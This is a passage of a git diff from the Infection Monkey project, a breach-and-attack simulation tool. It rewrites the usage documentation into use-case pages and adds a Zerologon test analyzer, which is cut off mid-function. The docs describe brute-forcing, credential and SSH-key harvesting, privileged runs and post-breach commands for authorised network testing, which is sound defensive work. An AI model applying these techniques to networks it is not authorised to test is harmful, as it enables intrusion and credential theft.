-![Network map](/images/usage/reports/sec_report_7_network_map.png "Network map") - -### Scanned servers - -This part shows the attack surface the Monkey has found. - -![Scanned servers](/images/usage/reports/sec_report_8_network_services.png "Scanned servers") - -### Exploits and post-breach actions - -This part shows which exploits and Post Breach Actions the Monkey has performed in this simulation. - -![Exploits and PBAs](/images/usage/reports/sec_report_9_exploits_pbas.png "Exploits and PBAs") - -### Stolen Credentials - -This part shows which credentials the Monkey was able to steal from breached machines in this simulation. - -![Stolen creds](/images/usage/reports/sec_report_10_stolen_credentials.png "Stolen creds") diff --git a/docs/content/usage/reports/zero-trust.md b/docs/content/usage/reports/zero-trust.md deleted file mode 100644 index 8d6c55aaa..000000000 --- a/docs/content/usage/reports/zero-trust.md +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: "Zero Trust report" -date: 2020-06-24T21:16:18+03:00 -draft: false ---- - -{{% notice info %}} -Check out [the documentation for the other reports as well](../). -{{% /notice %}} - -The Guardicore Infection Monkey runs different tests to evaluate your network adherence to key components of the Zero Trust framework as established by Forrester, such as whether you have applied segmentation, user identity, encryption and more. Then, the Monkey generates a status report with detailed explanations of security gaps and prescriptive instructions on how to rectify them. - -## Summary - -This diagram provides a quick glance at how your organization scores on each component of the Forrester’s Zero Trust model with **Failed**, **Verify**, **Passed** and **Unexecuted** verdicts. - -- {{< label danger Failed >}} At least one of the tests related to this component failed. This means that the Infection Monkey detected an unmet Zero Trust requirement. -- {{< label warning Verify >}} At least one of the tests’ results related to this component requires further manual verification. -- {{< label success Passed >}} All Tests related to this pillar passed. No violation of a Zero Trust guiding principle was detected. -- {{< label other Unexecuted >}} This status means no tests were executed for this pillar. - -![Zero Trust Report summary](/images/usage/reports/ztreport1.png "Zero Trust Report summary") - -## Test Results - -See how your network fared against each of the tests the Infection Monkey ran. The tests are ordered by Zero Trust components so you can quickly navigate to the components you care about first. - -![Zero Trust Report test results](/images/usage/reports/ztreport2.png "Zero Trust Report test results") - -## Findings - -Deep-dive into the details of each test, and see the explicit events and exact timestamps in which things happened in your network. This will enable you to match up with your SOC logs and alerts and to gain deeper insight as to what exactly happened during each of the tests. - -![Zero Trust Report Findings](/images/usage/reports/ztreport3.png "Zero Trust Report Findings") - -## Events - -The results are exportable. Click Export after clicking on Events to view them in a machine-readable format. - -![Zero Trust Report events](/images/usage/reports/ztreport4.png "Zero Trust Report events") - -## Overview Video - -You can check out an overview video here: - -{{% youtube z4FNu3WCd9o %}} diff --git a/docs/content/usage/scenarios.md b/docs/content/usage/scenarios.md deleted file mode 100644 index 20cab0d27..000000000 --- a/docs/content/usage/scenarios.md +++ /dev/null @@ -1,104 +0,0 @@ ---- -title: "Scenarios" -date: 2020-05-26T21:01:19+03:00 -draft: false -weight: 2 -tags: ["usage"] -pre: " " ---- - -In this page we show how you can use the Infection Monkey to simulate breach and attack scenarios as well as to share some cool tips and tricks you can use to up your Infection Monkey game. This page is aimed at both novice and experienced Monkey users. You can also refer to [our FAQ](../../faq) for more specific questions and answers. - -Here are a few scenarios that can be replicated in your own environment by executing the Monkey from different locations within the network, or with some tweaks to the Monkey’s configuration. - -{{% notice note %}} -No worries! The Monkey does not cause any permanent system modifications that impact security or operations. You will be able to track the Monkey using the log files it leaves in well defined locations. [See our FAQ for more details](../faq). -{{% /notice %}} - -- [Your network has been breached via internet facing servers](#your-network-has-been-breached-via-internet-facing-servers) - - [Simulate this scenario using the Monkey](#simulate-this-scenario-using-the-monkey) -- [You are the newest victim of a phishing fraud! 🎣](#you-are-the-newest-victim-of-a-phishing-fraud) - - [Simulate this scenario using the Monkey](#simulate-this-scenario-using-the-monkey-1) -- [You want to test your network segmentation](#you-want-to-test-your-network-segmentation) - - [Simulate this scenario using the Monkey](#simulate-this-scenario-using-the-monkey-2) -- [You want to verify your security solutions, procedures and teams are working as intended](#you-want-to-verify-your-security-solutions-procedures-and-teams-are-working-as-intended) - - [Simulate this scenario using the Monkey](#simulate-this-scenario-using-the-monkey-3) -- [Other useful tips](#other-useful-tips) - -## Your network has been breached via internet facing servers - -Whether it was the [Hex-men campaign](https://www.guardicore.com/2017/12/beware-the-hex-men/) that hit your Internet-facing DB server, a [cryptomining operation that attacked your WordPress site](https://www.guardicore.com/2018/06/operation-prowli-traffic-manipulation-cryptocurrency-mining-2/) or any other malicious campaign – the attackers are now trying to go deeper into your network. - -### Simulate this scenario using the Monkey - -To simulate this breach scenario, execute the Infection Monkey on different machines that host internet-facing services such as your web servers (Apache, Tomcat, NGINX…) or your VPN servers. To see how to execute the Monkey on these servers, [refer to this FAQ question](../../faq#after-ive-set-up-monkey-island-how-can-i-execute-the-monkey). - -{{% notice tip %}} -If you want to simulate a very “deep” attack into your network, see our [configuration documentation](../configuration). -{{% /notice %}} - -After executing the Monkey, evaluate the results of this simulation using the information in the Report page. There you will find a summary of the most important things the simulation has discovered, a detailed report of all the Monkey’s findings and more. You can also use the Infection Map to analyze the Monkey’s progress through the network, and to see each Monkey’s detailed telemetry and logs. - -## You are the newest victim of a phishing fraud! 🎣 - -Almost everyone is prone to phishing attacks. Results of a successful phishing attempt can be **extremely costly** as demonstrated in our report [IResponse to IEncrypt](https://www.guardicore.com/2019/04/iresponse-to-iencrypt/). - -This scenario begins in a section of the network which is a potential phishing spot. Phishing attacks target human users - as such, these types of attacks try to penetrate the network via a service an employee is using, such as an email with an attached malware or social media message with a link redirecting to a malicious website. These are just two examples of where and how an attacker may choose to launch their campaign. - -### Simulate this scenario using the Monkey - -To simulate the damage from a successful phishing attack using the Infection Monkey, choose machines in your network from potentially problematic group of machines, such as the laptop of one of your heavy email users or one of your strong IT users (think of people who are more likely to correspond with people outside of your organization). - -- After setting up the Island add the users’ **real** credentials (usernames and passwords) to the Monkey’s configuration (Don’t worry, this sensitive data is not accessible and is not distributed or used in any way other than being sent to the monkeys, and can be easily eliminated by resetting the Monkey Island’s configuration). Now you can simulate an attacker attempting to probe deeper in the network with credentials “successfully” phished. -- You can configure these credentials for the Monkey as follows: -From the **“Basic - Credentials”** tab of the Island’s configuration, under the **“Exploit password list”** press the ‘+’ button and add the passwords you would like the Monkey to use. Do the same with usernames in the **“Exploit user list”**. - -![Exploit password and user lists](/images/usage/scenarios/user-password-lists.png "Exploit password and user lists") - -After supplying the Monkey with the passwords and usernames, execute the Monkey from the simulated “victim” machines. To do this, click “**2. Run Monkey**” from the left sidebar menu and choose “**Run on machine of your choice**”. - -## You want to test your network segmentation - -Segmentation is a method of creating secure zones in data centers and cloud deployments that allows companies to isolate workloads from one another and secure them individually, typically using policies. A useful way to test the effectiveness of your segmentation is to ensure that your network segments are properly separated, e,g, your Development is separated from your Production, your applications are separated from one another etc. "to security test is to verify that your network segmentation is configured properly. This way you make sure that even if a certain attacker has breached your defenses, it can’t move laterally from point A to point B. - -[Segmentation is key](https://www.guardicore.com/use-cases/micro-segmentation/) to protecting your network, reducing the attack surface and minimizing the damage of a breach. The Monkey can help you test your segmentation settings with its cross-segment traffic testing feature. - -### Simulate this scenario using the Monkey - -As an example, the following configuration makes sure machines in the “10.0.0.0/24” segment (segment A) and the “11.0.0.2/32” segment (segment B) can’t communicate with each other, along with an additional machine in 13.37.41.50. - -![How to configure network segmentation testing](/images/usage/scenarios/segmentation-config.png "How to configure network segmentation testing") - -## You want to verify your security solutions, procedures and teams are working as intended - -The Infection Monkey can help you verify that your security solutions are working the way you expected them to. These may include your IR and SOC teams, your SIEM, your firewall, your endpoint security solution, and more. - -### Simulate this scenario using the Monkey - -Run the Monkey with whichever configuration you prefer. The default is good enough for many cases; but for example, you can add some old users and passwords. Running the Monkey on both the Island and on a few other machines in the network is also recommended, as it increases coverage and propagation rates. - -After running the Monkey, follow the Monkeys’ actions on the Monkey Island’s infection map. - -Now you can match this activity from the Monkey timeline display to your internal SIEM and make sure your security solutions are identifying and correctly alerting on different attacks. - -- The red arrows indicate successful exploitations. If you see red arrows, those incidents ought to be reported as exploitation attempts, so check whether you are receiving alerts from your security systems as expected. -- The orange arrows indicate scanning activity, usually used by attackers to locate potential vulnerabilities. If you see orange arrows, those incidents ought to be reported as scanning attempts (and possibly as segmentation violations). -- The blue arrows indicate tunneling activity, usually used by attackers to infiltrate “protected” networks from the Internet. Perhaps someone is trying to bypass your firewall to gain access to a protected service in your network? Check if your micro-segmentation / firewall solution identify or report anything. - -While running this scenario, be on the lookout for the action that should arise: Did you get a phone call telling you about suspicious activity inside your network? Are events flowing into your security events aggregators? Are you getting emails from your IR teams? Is the endpoint protection software you installed on machines in the network reporting on anything? Are your compliance scanners detecting anything wrong? - -## Other useful tips - -Here are a few tips which can help you push the Infection Monkey even further: - -- Make sure the Monkey is configured to scan its local network but in addition, configure it with specific targets. To add these targets, add their IP addresses (or the IP ranges in which they reside) to the Scan IP/subnet list using the `+` button. Here’s an example of how this is achieved: - -![How to configure Scan IP/subnet list](/images/usage/scenarios/scan-list-config.png "How to configure Scan IP/subnet list") - -- Every network has its old “skeleton keys” that should have long been discarded. Configure the Monkey with old and stale passwords, but make sure that they were really discarded using the Monkey. To add the old passwords, in the island’s configuration, go to the “Exploit password list” under “Basic - Credentials” and use the “+” button to add the old passwords to the configuration. For example, here we added a few extra passwords (and a username as well) to the configuration: - -![Exploit password and user lists](/images/usage/scenarios/user-password-lists.png "Exploit password and user lists") - -- To see the Monkey executing in real-time on your servers, add the **post-breach action** command: `wall “Infection Monkey was here”`. This post breach command will broadcast a message across all open terminals on the servers the Monkey breached, to achieve the following: Let you know the Monkey ran successfully on the server. let you follow the breach “live” alongside the infection map, and check which terminals are logged and monitored inside your network. See below: - -![How to configure post breach commands](/images/usage/scenarios/pba-example.png "How to configure post breach commands.") diff --git a/docs/content/usage/use-cases/_index.md b/docs/content/usage/use-cases/_index.md new file mode 100644 index 000000000..d15d6b3c6 --- /dev/null +++ b/docs/content/usage/use-cases/_index.md @@ -0,0 +1,20 @@ ++++ +title = "Use Cases" +date = 2020-08-12T12:52:59+03:00 +weight = 3 +chapter = true +pre = " " ++++ + +# Use cases + +This section describes possible use cases for the Infection Monkey and how you can configure the tool. +You can also refer to [our FAQ](../../faq) for more specific questions and answers. + +{{% notice note %}} +Don't worry! The Infection Monkey uses safe exploiters and does not cause any permanent system modifications that could impact security or operations. +{{% /notice %}} + +## Section contents + +{{% children description=True style="p"%}} diff --git a/docs/content/usage/use-cases/attack.md b/docs/content/usage/use-cases/attack.md new file mode 100644 index 000000000..bc13181cc --- /dev/null +++ b/docs/content/usage/use-cases/attack.md @@ -0,0 +1,29 @@ +--- +title: "MITRE ATT&CK assessment" +date: 2020-10-22T16:58:22+03:00 +draft: false +description: "Assess your network security detection and prevention capabilities." +weight: 2 +--- + +## Overview + +The Infection Monkey can simulate various [ATT&CK](https://attack.mitre.org/matrices/enterprise/) techniques on the network. Use it to assess your security solutions' detection and prevention capabilities. The Infection Monkey will help you find which ATT&CK techniques go unnoticed and provide specific details along with suggested mitigations. + + +## Configuration + +- **ATT&CK matrix** You can use the ATT&CK configuration section to select which techniques you want the Infection Monkey to simulate. +For the full simulation, use the default settings. +- **Exploits -> Credentials** This configuration value will be used for brute-forcing. The Infection Monkey uses the most popular default passwords and usernames, but feel free to adjust it according to the default passwords common in your network. Keep in mind a longer list means longer scanning times. +- **Network -> Scope** Disable “Local network scan” and instead provide specific network ranges in the “Scan target list”. + +![ATT&CK matrix](/images/usage/scenarios/attack-matrix.png "ATT&CK matrix") + +## Suggested run mode + +Run the Infection Monkey on as many machines as you can. You can easily achieve this by selecting the “Manual” run option and executing the command shown on different machines in your environment manually or with your deployment tool. Additionally, you can use any other run options you see fit. + +## Assessing results + +The **ATT&CK Report** shows the status of simulations using ATT&CK techniques. Click on a technique to see more details about it and potential mitigations. Keep in mind that each technique display contains a question mark symbol that will take you to the official documentation of the specific ATT&CK technique used, where you can learn more about it. diff --git a/docs/content/usage/use-cases/credential-leak.md b/docs/content/usage/use-cases/credential-leak.md new file mode 100644 index 000000000..fa740b3a9 --- /dev/null +++ b/docs/content/usage/use-cases/credential-leak.md @@ -0,0 +1,35 @@ +--- +title: "Credentials Leak" +date: 2020-08-12T13:04:25+03:00 +draft: false +description: "Assess the impact of a successful phishing attack, insider threat, or other form of credentials leak." +weight: 5 +--- + +## Overview + +Numerous attack techniques (from phishing to dumpster diving) might result in a credential leak, +which can be **extremely costly** as demonstrated in our report [IResponse to IEncrypt](https://www.guardicore.com/2019/04/iresponse-to-iencrypt/). + +The Infection Monkey can help you assess the impact of stolen credentials by automatically searching +where bad actors can reuse these credentials in your network. + +## Configuration + +- **Exploits -> Credentials** After setting up the Monkey Island, add your users' **real** credentials +(usernames and passwords) here. Don't worry; this sensitive data is not accessible, distributed or used in any way other than being sent to the Infection Monkey agents. You can easily eliminate it by resetting the configuration of your Monkey Island. +- **Internal -> Exploits -> SSH keypair list** When enabled, the Infection Monkey automatically gathers SSH keys on the current system. +For this to work, the Monkey Island or initial agent needs to access SSH key files. +To make sure SSH keys were gathered successfully, refresh the page and check this configuration value after you run the Infection Monkey +(content of keys will not be displayed, it will appear as ``). + +## Suggested run mode + +Execute the Infection Monkey on a chosen machine in your network using the “Manual” run option. +Run the Infection Monkey as a privileged user to make sure it gathers as many credentials from the system as possible. + +![Exploit password and user lists](/images/usage/scenarios/user-password-lists.png "Exploit password and user lists") + +## Assessing results + +To assess the impact of leaked credentials see the Security report. Examine **Security report -> Stolen credentials** to confirm. diff --git a/docs/content/usage/use-cases/network-breach.md b/docs/content/usage/use-cases/network-breach.md new file mode 100644 index 000000000..ff6885100 --- /dev/null +++ b/docs/content/usage/use-cases/network-breach.md @@ -0,0 +1,47 @@ +--- +title: "Network Breach" +date: 2020-08-12T13:04:55+03:00 +draft: false +description: "Simulate an internal network breach and assess the potential impact." +weight: 3 +--- + +## Overview + +From the [Hex-Men campaign](https://www.guardicore.com/2017/12/beware-the-hex-men/) that hit +internet-facing DB servers to a [cryptomining operation that attacks WordPress sites](https://www.guardicore.com/2018/06/operation-prowli-traffic-manipulation-cryptocurrency-mining-2/) or any other malicious campaign – attackers are now trying to go deeper into your network. + +Infection Monkey will help you assess the impact of a future breach by attempting to propagate within your internal network using service vulnerabilities, brute-forcing and other safe exploiters. + +## Configuration + +- **Exploits -> Exploits** Here you can review the exploits the Infection Monkey will be using. By default all +safe exploiters are selected. +- **Exploits -> Credentials** This configuration value will be used for brute-forcing. The Infection Monkey uses the most popular default passwords and usernames, but feel free to adjust it according to the default passwords common in your network. Keep in mind a longer list means longer scanning times. +- **Network -> Scope** Make sure to properly configure the scope of the scan. You can select **Local network scan** + and allow Monkey to propagate until maximum **Scan depth**(hop count) is reached, or you can fine tune it by providing + specific network ranges in **Scan target list**. Scanning a local network is more realistic, but providing specific + targets will make the scanning process substantially faster. +- **(Optional) Internal -> Network -> TCP scanner** Here you can add custom ports your organization is using. +- **(Optional) Monkey -> Post-Breach Actions** If you only want to test propagation in the network, you can turn off +all post-breach actions. These actions simulate an attacker's behavior after getting access to a new system but in no + way helps the Infection Monkey exploit new machines. + +![Exploiter selector](/images/usage/use-cases/network-breach.PNG "Exploiter selector") + +## Suggested run mode + +Decide which machines you want to simulate a breach on and use the “Manual” run option to start the Infection Monkey on them. +Use administrative privileges to run the Infection Monkey to simulate an attacker that was able to elevate their privileges. +You could also simulate an attack initiated from an unidentified machine connected to the network (e.g., a technician +laptop or third-party vendor machine) by running the Infection Monkey on a dedicated machine with an IP in the network you +wish to test. + + +## Assessing results + +Check the infection map and Security report to see how far The Infection Monkey managed to propagate in your network and which +vulnerabilities it successfully exploited. If you left post-breach actions selected, you should also check the MITRE ATT&CK and +Zero Trust reports for more details. + +![Map](/images/usage/use-cases/map-full-cropped.png "Map") diff --git a/docs/content/usage/use-cases/network-segmentation.md b/docs/content/usage/use-cases/network-segmentation.md new file mode 100644 index 000000000..0f03b66a1 --- /dev/null +++ b/docs/content/usage/use-cases/network-segmentation.md @@ -0,0 +1,40 @@ +--- +title: "Network Segmentation" +date: 2020-08-12T13:05:05+03:00 +draft: false +description: "Verify your network is properly segmented." +weight: 4 +--- + +## Overview + +Segmentation is a method of creating secure zones in data centers and cloud deployments. It allows organizations to isolate workloads from one another and secure them individually, typically using policies. A useful way to test your company's segmentation effectiveness is to ensure that your network segments are properly separated (e.g., your development environment is isolated from your production environment and your applications are isolated from one another). + +[Segmentation is key](https://www.guardicore.com/use-cases/micro-segmentation/) to protecting your network. It can reduce the network's attack surface and minimize the damage caused during a breach. + +You can use the Infection Monkey's cross-segment traffic feature to verify that your network segmentation configuration is adequate. This way, you can ensure that, even if a bad actor breaches your defenses, they can't move laterally between segments. + + +## Configuration + +- **Network -> Network analysis -> Network segmentation testing** This configuration setting allows you to define + subnets that should be segregated from each other. If any of the provided networks can reach each other, you'll see it + in the security report. +- **(Optional) Network -> Scope** You can disable **Local network scan** and leave all other options at the default setting if you only want to test for network segmentation without any lateral movement. +- **(Optional) Monkey -> Post-Breach Actions** If you only want to test segmentation in the network, you can turn off all post-breach actions. These actions simulate an attacker's behavior after getting access to a new system, so they might trigger your defense solutions and interrupt the segmentation test. + +## Suggested run mode + +Execute The Infection Monkey on machines in different subnetworks using the “Manual” run option. + + Note that if the Infection Monkey can't communicate to the Monkey Island, it will + not be able to send scan results, so make sure all machines can reach the the Monkey Island. + +![How to configure network segmentation testing](/images/usage/scenarios/segmentation-config.png "How to configure network segmentation testing") + + +## Assessing results + +Check the infection map and security report for segmentation problems. Ideally, all scanned nodes should only have edges with the Monkey Island Server. + +![Map](/images/usage/use-cases/segmentation-map.PNG "Map") diff --git a/docs/content/usage/use-cases/other.md b/docs/content/usage/use-cases/other.md new file mode 100644 index 000000000..c22bb0296 --- /dev/null +++ b/docs/content/usage/use-cases/other.md @@ -0,0 +1,54 @@ +--- +title: "Other" +date: 2020-08-12T13:07:55+03:00 +draft: false +description: "Tips and tricks about configuring Monkeys for your needs." +weight: 100 +--- + +## Overview +This page provides additional information about configuring the Infection Monkey, tips and tricks and creative usage scenarios. + +## Custom behaviour + +If you want the Infection Monkey to run a specific script or tool after it breaches a machine, you can configure it in +**Configuration -> Monkey -> Post-breach**. Input commands you want to execute in the corresponding fields. +You can also upload files and call them through the commands you entered. + +## Accelerate the test + +To improve scanning speed you could **specify a subnet instead of scanning all of the local network**. + +The following configuration values also have an impact on scanning speed: +- **Credentials** - The more usernames and passwords you input, the longer it will take the Infection Monkey to scan machines that have +remote access services. The Infection Monkey agents try to stay elusive and leave a low impact, and thus brute-forcing takes longer than with loud conventional tools. +- **Network scope** - Scanning large networks with a lot of propagations can become unwieldy. Instead, try to scan your +networks bit by bit with multiple runs. +- **Post-breach actions** - If you only care about propagation, you can disable most of these. +- **Internal -> TCP scanner** - Here you can trim down the list of ports the Infection Monkey tries to scan, improving performance. + +## Combining different scenarios + +The Infection Monkey is not limited to the scenarios mentioned in this section. Once you get the hang of configuring it, you might come up with your own use case or test all of the suggested scenarios at the same time! Whatever you do, the Infection Monkey's Security, ATT&CK and Zero Trust reports will be waiting for you with your results! + +## Persistent scanning + +Use **Monkey -> Persistent** scanning configuration section to either run periodic scans or increase the reliability of exploitations by running consecutive scans with the Infection Monkey. + +## Credentials + +Every network has its old "skeleton keys" that it should have long discarded. Configuring the Infection Monkey with old and stale passwords will enable you to ensure they were really discarded. + +To add the old passwords, go to the Monkey Island's **Exploit password list** under **Basic - Credentials** and use the "+" button to add the old passwords to the configuration. For example, here we added a few extra passwords (and a username as well) to the configuration: + +![Exploit password and user lists](/images/usage/scenarios/user-password-lists.png "Exploit password and user lists") + +## Check logged and monitored terminals + +To see the Infection Monkey executing in real-time on your servers, add the **post-breach action** command: +`wall “Infection Monkey was here”`. This post-breach command will broadcast a message across all open terminals on the servers the Infection Monkey breached to achieve the following: +- Let you know the Monkey ran successfully on the server. +- Let you follow the breach “live” alongside the infection map. +- Check which terminals are logged and monitored inside your network. + +![How to configure post breach commands](/images/usage/scenarios/pba-example.png "How to configure post breach commands.") diff --git a/docs/content/usage/use-cases/zero-trust.md b/docs/content/usage/use-cases/zero-trust.md new file mode 100644 index 000000000..56b294cbc --- /dev/null +++ b/docs/content/usage/use-cases/zero-trust.md @@ -0,0 +1,34 @@ +--- +title: "Zero Trust assessment" +date: 2020-10-22T16:58:09+03:00 +draft: false +description: "See where you stand in your Zero Trust journey." +weight: 1 +--- + +## Overview + +Want to assess your progress in achieving a Zero Trust network? The Infection Monkey can automatically evaluate your readiness across the different +[Zero Trust Extended Framework](https://www.forrester.com/report/The+Zero+Trust+eXtended+ZTX+Ecosystem/-/E-RES137210) principles. + +You can additionally scan your cloud infrastructure's compliance to ZeroTrust principles using [ScoutSuite integration.](/usage/integrations/scoutsuite) + +## Configuration + +- **Exploits -> Credentials** This configuration value will be used for brute-forcing. The Infection Monkey uses the most popular default passwords and usernames, but feel free to adjust it according to the default passwords common in your network. Keep in mind a longer list means longer scanning times. +- **Network -> Scope** Disable “Local network scan” and instead provide specific network ranges in the “Scan target list.” +- **Network -> Network analysis -> Network segmentation testing** This configuration setting allows you to define +subnets that should be segregated from each other. + +In general, other configuration value defaults should be good enough, but feel free to see the “Other” section for tips and tricks about more features and in-depth configuration parameters you can use. + +![Exploit password and user lists](/images/usage/scenarios/user-password-lists.png "Exploit password and user lists") + +## Suggested run mode + +Run the Infection Monkey on as many machines as you can. You can easily achieve this by selecting the “Manual” run option and executing the command shown on different machines in your environment manually or with your deployment tool. Additionally, you can use any other run options you see fit. + +## Assessing results + +You can see your results in the Zero Trust report section. “The Summary” section will give you an idea about which Zero Trust pillars were the Infection Monkey tested, how many tests were performed and test statuses. Specific tests are described in the “Test Results” section. The “Findings” section shows details about the Monkey actions. Click on “Events” of different findings to observe what exactly the Infection Monkey did and when it did it. This should make it easy to cross reference events with your security solutions and alerts/logs. + diff --git a/docs/layouts/shortcodes/homepage_shortcuts.html b/docs/layouts/shortcodes/homepage_shortcuts.html index 7a719f500..df26d2ae5 100644 --- a/docs/layouts/shortcodes/homepage_shortcuts.html +++ b/docs/layouts/shortcodes/homepage_shortcuts.html @@ -59,21 +59,28 @@
-
+ -
+ -
+ +

FAQs

diff --git a/docs/static/css/labels.css b/docs/static/css/labels.css index 06565138d..36086f48f 100644 --- a/docs/static/css/labels.css +++ b/docs/static/css/labels.css @@ -9,4 +9,5 @@ .info {background-color: #2196F3;} /* Blue */ .warning {background-color: #ff9800;} /* Orange */ .danger {background-color: #f44336;} /* Red */ - .other {background-color: #e7e7e7; color: black;} /* Gray */ + .unused {background-color: #8d8d8d;} /* Dark Gray */ + .disabled {background-color: #cfcfcf; color: black;} /* Light Gray */ diff --git a/docs/static/images/usage/configruation/credentials.png b/docs/static/images/usage/configuration/credentials.png similarity index 100% rename from docs/static/images/usage/configruation/credentials.png rename to docs/static/images/usage/configuration/credentials.png diff --git a/docs/static/images/usage/integrations/monkey-island-aws-screenshot-1.png b/docs/static/images/usage/integrations/monkey-island-aws-screenshot-1.png index 0b1af5fae..ba61e2b7c 100644 Binary files a/docs/static/images/usage/integrations/monkey-island-aws-screenshot-1.png and b/docs/static/images/usage/integrations/monkey-island-aws-screenshot-1.png differ diff --git a/docs/static/images/usage/integrations/monkey-island-aws-screenshot-2.png b/docs/static/images/usage/integrations/monkey-island-aws-screenshot-2.png index f6442e82b..ad9f6ed81 100644 Binary files a/docs/static/images/usage/integrations/monkey-island-aws-screenshot-2.png and b/docs/static/images/usage/integrations/monkey-island-aws-screenshot-2.png differ diff --git a/docs/static/images/usage/integrations/scoutsuite_aws_configured.png b/docs/static/images/usage/integrations/scoutsuite_aws_configured.png new file mode 100644 index 000000000..e81e552a6 Binary files /dev/null and b/docs/static/images/usage/integrations/scoutsuite_aws_configured.png differ diff --git a/docs/static/images/usage/integrations/scoutsuite_report_rule.png b/docs/static/images/usage/integrations/scoutsuite_report_rule.png new file mode 100644 index 000000000..7c83aa498 Binary files /dev/null and b/docs/static/images/usage/integrations/scoutsuite_report_rule.png differ diff --git a/docs/static/images/usage/integrations/scoutsuite_run_page.png b/docs/static/images/usage/integrations/scoutsuite_run_page.png new file mode 100644 index 000000000..a6bf4cabe Binary files /dev/null and b/docs/static/images/usage/integrations/scoutsuite_run_page.png differ diff --git a/docs/static/images/usage/integrations/security-hub-enable-accepting-findings.png b/docs/static/images/usage/integrations/security-hub-enable-accepting-findings.png new file mode 100644 index 000000000..9d4d99b4b Binary files /dev/null and b/docs/static/images/usage/integrations/security-hub-enable-accepting-findings.png differ diff --git a/docs/static/images/usage/reports/mitre-report-0.jpg b/docs/static/images/usage/reports/mitre-report-0.jpg deleted file mode 100644 index 933e8e221..000000000 Binary files a/docs/static/images/usage/reports/mitre-report-0.jpg and /dev/null differ diff --git a/docs/static/images/usage/reports/mitre-report-0.png b/docs/static/images/usage/reports/mitre-report-0.png new file mode 100644 index 000000000..b8ab707d6 Binary files /dev/null and b/docs/static/images/usage/reports/mitre-report-0.png differ diff --git a/docs/static/images/usage/scenarios/attack-matrix.png b/docs/static/images/usage/scenarios/attack-matrix.png new file mode 100644 index 000000000..f6a040c1b Binary files /dev/null and b/docs/static/images/usage/scenarios/attack-matrix.png differ diff --git a/docs/static/images/usage/use-cases/ids-test.PNG b/docs/static/images/usage/use-cases/ids-test.PNG new file mode 100644 index 000000000..1def39ff7 Binary files /dev/null and b/docs/static/images/usage/use-cases/ids-test.PNG differ diff --git a/docs/static/images/usage/use-cases/map-full-cropped.png b/docs/static/images/usage/use-cases/map-full-cropped.png new file mode 100644 index 000000000..eea42412b Binary files /dev/null and b/docs/static/images/usage/use-cases/map-full-cropped.png differ diff --git a/docs/static/images/usage/use-cases/network-breach.PNG b/docs/static/images/usage/use-cases/network-breach.PNG new file mode 100644 index 000000000..871a36bb6 Binary files /dev/null and b/docs/static/images/usage/use-cases/network-breach.PNG differ diff --git a/docs/static/images/usage/use-cases/segmentation-map.PNG b/docs/static/images/usage/use-cases/segmentation-map.PNG new file mode 100644 index 000000000..9aba16060 Binary files /dev/null and b/docs/static/images/usage/use-cases/segmentation-map.PNG differ diff --git a/docs/themes/learn b/docs/themes/learn index e010f0287..045d78bc9 160000 --- a/docs/themes/learn +++ b/docs/themes/learn @@ -1 +1 @@ -Subproject commit e010f0287ae724c7c072b23e6075f4b123e99b7c +Subproject commit 045d78bc98540c9b96518df73c05fdb9d16507ba diff --git a/envs/monkey_zoo/blackbox/README.md b/envs/monkey_zoo/blackbox/README.md index 30855b855..808a0a5cb 100644 --- a/envs/monkey_zoo/blackbox/README.md +++ b/envs/monkey_zoo/blackbox/README.md @@ -19,10 +19,10 @@ instead will just test performance of endpoints in already present island state. Example run command: -`monkey\envs\monkey_zoo\blackbox>python -m pytest -s --island=35.207.152.72:5000 test_blackbox.py` +`monkey\monkey>python -m pytest -s --island=35.207.152.72:5000 ..\envs\monkey_zoo\blackbox\test_blackbox.py` #### Running in PyCharm -Configure a PyTest configuration with the additional arguments `-s --island=35.207.152.72`, and to run from +Configure a PyTest configuration with the additional arguments `-s --island=35.207.152.72:5000`, and to run from directory `monkey\envs\monkey_zoo\blackbox`. ### Running telemetry performance test diff --git a/envs/monkey_zoo/blackbox/analyzers/analyzer.py b/envs/monkey_zoo/blackbox/analyzers/analyzer.py index d6043feeb..13db46cb3 100644 --- a/envs/monkey_zoo/blackbox/analyzers/analyzer.py +++ b/envs/monkey_zoo/blackbox/analyzers/analyzer.py @@ -4,5 +4,5 @@ from abc import ABCMeta, abstractmethod class Analyzer(object, metaclass=ABCMeta): @abstractmethod - def analyze_test_results(self): + def analyze_test_results(self) -> bool: raise NotImplementedError() diff --git a/envs/monkey_zoo/blackbox/analyzers/performance_analyzer.py b/envs/monkey_zoo/blackbox/analyzers/performance_analyzer.py index e0354530e..4a43ab6a5 100644 --- a/envs/monkey_zoo/blackbox/analyzers/performance_analyzer.py +++ b/envs/monkey_zoo/blackbox/analyzers/performance_analyzer.py @@ -3,8 +3,7 @@ from datetime import timedelta from typing import Dict from envs.monkey_zoo.blackbox.analyzers.analyzer import Analyzer -from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import \ - PerformanceTestConfig +from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig LOGGER = logging.getLogger(__name__) diff --git a/envs/monkey_zoo/blackbox/analyzers/zerologon_analyzer.py b/envs/monkey_zoo/blackbox/analyzers/zerologon_analyzer.py new file mode 100644 index 000000000..f5da3a2e1 --- /dev/null +++ b/envs/monkey_zoo/blackbox/analyzers/zerologon_analyzer.py @@ -0,0 +1,70 @@ +from typing import List +from pprint import pformat + +import dpath.util + +from common.config_value_paths import USER_LIST_PATH, PASSWORD_LIST_PATH, NTLM_HASH_LIST_PATH, LM_HASH_LIST_PATH +from envs.monkey_zoo.blackbox.analyzers.analyzer import Analyzer +from envs.monkey_zoo.blackbox.analyzers.analyzer_log import AnalyzerLog +from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient + +# Query for telemetry collection to see if password restoration was successful +TELEM_QUERY = {'telem_category': 'exploit', + 'data.exploiter': 'ZerologonExploiter', + 'data.info.password_restored': True} + + +class ZerologonAnalyzer(Analyzer): + + def __init__(self, island_client: MonkeyIslandClient, expected_credentials: List[str]): + self.island_client = island_client + self.expected_credentials = expected_credentials + self.log = AnalyzerLog(self.__class__.__name__) + + def analyze_test_results(self): + self.log.clear() + is_creds_gathered = self._analyze_credential_gathering() + is_creds_restored = self._analyze_credential_restore() + return is_creds_gathered and is_creds_restored + + def _analyze_credential_gathering(self) -> bool: + config = self.island_client.get_config() + credentials_on_island = ZerologonAnalyzer._get_relevant_credentials(config) + return self._is_all_credentials_in_list(credentials_on_island) + + @staticmethod + def _get_relevant_credentials(config: dict): + credentials_on_island = [] + credentials_on_island.extend(dpath.util.get(config['configuration'], USER_LIST_PATH)) + 